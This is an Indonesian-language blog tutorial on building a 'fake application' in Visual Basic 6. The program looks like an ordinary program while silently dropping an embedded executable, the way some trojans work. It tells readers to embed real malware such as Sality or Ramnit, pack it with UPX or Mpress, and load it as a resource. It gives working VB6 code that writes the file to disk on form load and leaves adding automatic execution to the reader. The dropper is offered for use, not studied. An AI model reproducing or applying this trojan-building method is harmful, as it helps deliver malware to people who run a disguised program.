Membuat Fake Application

Posted by : Unknown Jumat, 26 Oktober 2012



Pada tutorial ini, saya ingin memberi contoh Fake Application yang melakukan aksi Drop File Executable, seperti beberapa tipe Trojan yang jika dijalankan terlihat seperti program biasa tetapi secara diam-diam melakukan ekstrak [drop] file lainnya kemudian file hasil ekstrak di eksekusi untuk menjalankan aksinya..
Aplikasi Palsu - Fake Application
Oke, langsung pada cara pembuatan, pertama buka Microsoft Visual Basic 6 anda, buat project baru dengan tipe standar EXE, kemudian buat 1 form baru.
Pilih Menu Tools – Resource Editor,lalu klik icon Add Custom Resource
Lihat gambar:
Pilih file executable yang anda inginkan misalnya Sality atau Ramnit juga boleh. Kemudian Open, file yang akan dibuat menjadi resource file ber-ekstensi .RES, sehingga bisa disimpan ke dalam program. File executable bisa anda pack dahulu dengan UPX, Mpress dan sebagainya agar ukuran file menjadi lebih kecil.
Ketika akan menyimpan resource ,beri nama sesuai keinginan anda misalnya project1.RES
Setelah sukses “melampirkan” malware atau program lain kedalam program utama, maka ketik kode berikut pada form :
 ’membuat fungsi KeluarkanFile untuk ekstrak file
Private Function KeluarkanFile(JenisRes As String, IDRes As Long, OFile As String)
Dim DROP() As Byte
DROP = LoadResData(IDRes, JenisRes)
Open OFile For Binary As #1
Put #1, , DROP
Close #1
End Function
‘fungsi ini akan dipanggil ketika program diload ke memori
Private Sub Form_Load()
‘fungsi keluarkanfile dipanggil saat program dieksekusi,ganti nama hehe.exe sesuai keinginan anda
KeluarkanFile “CUSTOM”, 101, App.Path & “\hehe.exe”
Msgbox “File berhasil di ekstrak”,vbinformation,”Info”
End Sub
Save project kemudian run saja, maka akan muncul  file bernama hehe.exe di direktori yang sama dengan project anda berada
Catatan: program tidak langsung menjalankan file hasil ekstrak, silahkan tambahkan sendiri kodenya.
Happy coding :)
#Vianz_Okumura

0 Comment • Leave a Reply/Tinggalkan Komentar

Anda follow saya follback, anda berkomentar saya komentar balik di blog anda , Silahkan Tinggalkan Komentar Dengan Ketentuan :
[+]Menggunakan Bahasa Yang Sopan.
[+]Dilarang Spam, Sara, Menghujat Dan Merugikan Orang Lain.
[+]Dilarang Memasang Link Hidup Di Komentar.
[+]Jika ada Pertanyaan Lebih Jauh Silahkan Hubungi Lewat Facebook Saya (https://www.facebook.com/vianz.prajuritsemut)
[+]Cantumkan Link Sumber Artikel blog ini Jika Ingin Copy Paste.
Terima Kasih Sudah Berkunjung. :D

Copyright ©2013 Dark Purple [VC V.4] • Design by DJOGZS and MAMZ • • • Google+ • ↑